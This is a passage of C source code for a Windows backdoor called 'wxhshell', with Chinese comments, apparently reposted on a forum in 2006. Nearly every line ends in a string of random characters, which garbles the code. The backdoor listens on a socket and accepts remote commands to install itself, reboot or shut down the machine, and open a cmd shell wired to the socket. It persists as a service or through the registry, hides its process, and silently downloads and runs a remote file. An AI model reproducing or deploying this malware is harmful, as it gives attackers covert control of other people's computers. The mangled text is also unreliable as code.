  a8UwhjFO  
  // 帮助 )<tI!I][j  
  case '?': { :n-]>Q>5=k  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); tw9f%p  
    break; c(~[$)i6  
  } MpR2]k#n<  
  // 安装 b"{'T]"*j  
  case 'i': { nX`u[ks  
    if(Install()) M "94#.dKK  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 53n^3M,qK  
    else Ug<#en  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (:> ,u*x%  
    break; av|g}xnj  
    } >: g3k  
  // 卸载 |Ur"& Z{  
  case 'r': { @P?~KW6<|  
    if(Uninstall()) 71t* %  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #iHs* /85  
    else ys kO  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);   #^A*  
    break; <d$x.in  
    } JVSA&c%3  
  // 显示 wxhshell 所在路径 Jh!I:;/  
  case 'p': { aq@8"b(.  
    char svExeFile[MAX_PATH]; P&^;656r  
    strcpy(svExeFile,"\n\r"); *(T:,PY  
      strcat(svExeFile,ExeFile); G VYkJ0,  
        send(wsh,svExeFile,strlen(svExeFile),0); ~ r4 38&  
    break; 9j6QX ~,  
    } !'9Feoez  
  // 重启 wG-HF'0L  
  case 'b': { `M^= D&Bf  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); HK0! P*  
    if(Boot(REBOOT)) >E{";C)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Tq[kl'_  
    else { [rV>57`YD  
    closesocket(wsh); _v> }_S  
    ExitThread(0); =E#%'/ A;c  
    } Eu@huN*/  
    break; "ozr+:#\  
    } ^Xq 6:  
  // 关机 TI,&!E?;  
  case 'd': { 7 *`h/  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); [R^i F  
    if(Boot(SHUTDOWN)) /n{omx  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #PH~1`vl  
    else { \=ux atw  
    closesocket(wsh); Ni-xx9)=  
    ExitThread(0); 3@$,s~+ 3  
    } UMm!B`M  
    break; zv\kPfGDK  
    } ?En O"T.  
  // 获取shell ?!d&E ?9\  
  case 's': { q!u~jI9 j  
    CmdShell(wsh); @] DVD  
    closesocket(wsh); 8"8t-E#?  
    ExitThread(0); b)qoh^  
    break; O @j} K4  
  } BMG3|N^  
  // 退出 L>aLqQ3  
  case 'x': { deV  8  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); keX,d#  
    CloseIt(wsh); gv- xm  
    break; R\G0'?h >  
    } (mTE;s(  
  // 离开 lvBx\e;7P  
  case 'q': { J$GUB3 G  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); <oT^A|JFj  
    closesocket(wsh); Vr`R>S,-  
    WSACleanup(); $!-c-0ub  
    exit(1); UU;(rS/  
    break; {E9+WFz5  
        } }J:U=HJ  
  } vyK7I%T'R  
  } AQ,' 6F9  
[S9K6%w_!  
  // 提示信息 F@'Jbd`   
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); i]YV {  
} g9}DnCT*.  
  } 7XTkX"zKj  
Cz\e w B  
  return; ~obqG!2m  
}  8pIP  
(a.z9nqGA  
// shell模块句柄 +eK"-u~K  
int CmdShell(SOCKET sock) v1+3}5b'uF  
{ Vt %bI0#  
STARTUPINFO si; -.u]GeMy  
ZeroMemory(&si,sizeof(si)); }Qn&^[[miL  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; }@'$b<!B  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ODNM+#}`  
PROCESS_INFORMATION ProcessInfo; Zw5Ni Xj  
char cmdline[]="cmd"; bLij7K 2H  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); vNV/eB8#S  
  return 0; c[wla<dO*  
} Tc>   
c'>/  
// 自身启动模式 aQ?/%\>  
int StartFromService(void) "GMBjT8  
{ B%)%  
typedef struct r@h5w_9  
{ #~}nFY.  
  DWORD ExitStatus; &C, 'x4c"  
  DWORD PebBaseAddress; DCIxRPw  
  DWORD AffinityMask; C*)3e*T*  
  DWORD BasePriority; )t0$qd ]  
  ULONG UniqueProcessId; {5U{8b]k  
  ULONG InheritedFromUniqueProcessId; ?I_s0k I  
}   PROCESS_BASIC_INFORMATION; 8_BV:o9kL  
-3t7*  
PROCNTQSIP NtQueryInformationProcess; : UGZ+  
[YF>:ydk  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ww\CQ6/h  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; vM*-D{  
D0&,?  
  HANDLE             hProcess; ^ =bu(L  
  PROCESS_BASIC_INFORMATION pbi; Z &Pg"a?\  
C%$edEi  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); /32Fy`KV  
  if(NULL == hInst ) return 0; Se :.4<  
ddJQC|xR}  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); xu/cq9  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); R]}}$R`j  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); &zl|87M  
'y;EhOwj,  
  if (!NtQueryInformationProcess) return 0; y I HXg#  
~ -4{B  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); j"ThEx0  
  if(!hProcess) return 0; ]fx"4qKM  
c]x1HvPE  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; \\PjKAsh  
?*[N_'2W+  
  CloseHandle(hProcess); /\ y?Y  
~P*6ozSYpY  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ~("5y G  
if(hProcess==NULL) return 0; lP[w?O  
ocqU=^ta  
HMODULE hMod; #a/5SZP Z\  
char procName[255]; <C1H36p  
unsigned long cbNeeded; BWeA@v  
7`- Zuf  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); V]|^&A _c  
q-[@$9AS  
  CloseHandle(hProcess); ]e"=$2d$  
3EV;LH L  
if(strstr(procName,"services")) return 1; // 以服务启动 O,+1<.;+  
yh Yb'GK  
  return 0; // 注册表启动 -V-RP;">  
} v~f HYa>  
?J%1#1L"/  
// 主模块 %q/62f7?  
int StartWxhshell(LPSTR lpCmdLine) Ye"o6_U "  
{ _(_a*ml  
  SOCKET wsl; sv: 9clJ  
BOOL val=TRUE; A_XY'z1  
  int port=0; ^nT/i .#_  
  struct sockaddr_in door; )JDs\fUE  
Buf/@B7+\  
  if(wscfg.ws_autoins) Install(); _7Rr=_1}  
-E^vLB)O  
port=atoi(lpCmdLine); opY@RJ]  
?x$"+,  
if(port<=0) port=wscfg.ws_port; R+2+-j4  
TTeH `  
  WSADATA data; %}SGl${-  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ^ssK   
G! ]k#.^A,  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ZOft.P O  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); t9,\Hdo  
  door.sin_family = AF_INET; eK6hS_E  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ]9YJ,d@J  
  door.sin_port = htons(port); )_+rU|We  
~qcNEl\-y  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { u8gS< \  
closesocket(wsl); S'|,oUWDb  
return 1; "9m2/D`=  
} 2QD3&Q9  
~k\fhx  
  if(listen(wsl,2) == INVALID_SOCKET) { H35S#+KX  
closesocket(wsl); 1{r3#MVL  
return 1; 4H,`]B8(D  
} Vr)<\h  
  Wxhshell(wsl); gwOa$f%O  
  WSACleanup(); qIVx9jNN  
Vu)4dD!  
return 0; 2"0es40;0  
K0H'4' I  
} %j:]^vqFA  
X>d"]GD  
// 以NT服务方式启动 ~T ]m>A!  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) &Lt}=3G  
{ ^"VJd[Hn  
DWORD   status = 0; :V1W/c  
  DWORD   specificError = 0xfffffff; 1_o],? Q  
oo,uO;0G  
  serviceStatus.dwServiceType     = SERVICE_WIN32; {E p0TVj`  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; k&&2Tq  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; *?Lv3}E  
  serviceStatus.dwWin32ExitCode     = 0; }O/U;4Z  
  serviceStatus.dwServiceSpecificExitCode = 0; 5A%w 8Qv  
  serviceStatus.dwCheckPoint       = 0; _76PIR{an  
  serviceStatus.dwWaitHint       = 0; bHPYp5UwN  
~o82uw?  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); %dRo^E1p  
  if (hServiceStatusHandle==0) return; ;Yx)tWQI  
3 *d"B tg  
status = GetLastError(); <A[E:*`*  
  if (status!=NO_ERROR) | h`0u'#  
{ 2>|dF~"  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; e>7]w,*|  
    serviceStatus.dwCheckPoint       = 0; e&simX;W  
    serviceStatus.dwWaitHint       = 0; LUG;(Fko  
    serviceStatus.dwWin32ExitCode     = status; ST2.:v;lb  
    serviceStatus.dwServiceSpecificExitCode = specificError; P<PJ)>  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1LqoF{S:  
    return; U1@IX4^2`  
  } G'rxXJq  
~res V  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; B.wYHNNV  
  serviceStatus.dwCheckPoint       = 0; 0]>u )%  
  serviceStatus.dwWaitHint       = 0; !(mjyr  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); wHsYF`  
} N/]o4o  
Vx(B{5>Vu  
// 处理NT服务事件,比如:启动、停止 x9$` W  
VOID WINAPI NTServiceHandler(DWORD fdwControl) BHd&yIyI  
{ 8;z6=.4xtg  
switch(fdwControl) J c g,#@  
{ ji1viv  
case SERVICE_CONTROL_STOP: sJ# 4(r`  
  serviceStatus.dwWin32ExitCode = 0; 3b*cU}go  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; {_b%/eR1  
  serviceStatus.dwCheckPoint   = 0; ^g*pGrl#  
  serviceStatus.dwWaitHint     = 0; 5j:0Yt  
  { -#0qV:D  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); X- pqw~$  
  } n?A6u\sQ  
  return; LG-y]4a}  
case SERVICE_CONTROL_PAUSE: ~1cnE:x;V  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ^:K3vC[h;c  
  break; 9)0D~oUi  
case SERVICE_CONTROL_CONTINUE: 6$fHtJD:  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ]Gpxhg  
  break; .EpV;xq}  
case SERVICE_CONTROL_INTERROGATE: xgABpikC^  
  break; rJPb 3F  
}; E_Im^a  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8 ![|F:  
} @WJg WJm  
^w(p8G_-w  
// 标准应用程序主函数 l-K9LTd  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 1lq(PGX)  
{ ]NjX?XdX<  
VK}fsOnj0  
// 获取操作系统版本 (2$( ?-M  
OsIsNt=GetOsVer(); EzDk}uKY0R  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ,pqGX3  
=6woWlfb  
  // 从命令行安装 =3|O %\  
  if(strpbrk(lpCmdLine,"iI")) Install(); anIAM  
kz{/(t  
  // 下载执行文件 Z&ZP"P4  
if(wscfg.ws_downexe) { W;_nK4$%'  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) :r%P.60H X  
  WinExec(wscfg.ws_filenam,SW_HIDE); "vXxv'0\f  
} el2bd :  
umD!2 w  
if(!OsIsNt) { `n$I]_}/%  
// 如果时win9x,隐藏进程并且设置为注册表启动 M9EfU  
HideProc(); e&7JpT  
StartWxhshell(lpCmdLine); k9)jjR*XxG  
} Dpvk\t  
else @[5xq  
  if(StartFromService()) 5:O-tgig.  
  // 以服务方式启动 @b"t]#V(E  
  StartServiceCtrlDispatcher(DispatchTable); Em?d*z  
else UQ'\7OS  
  // 普通方式启动 1v,Us5s<"6  
  StartWxhshell(lpCmdLine); szsk;a  
ElS9?Q+  
return 0; W4[V}s5u  
}
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只看该作者 1 发表于: 2006-10-10
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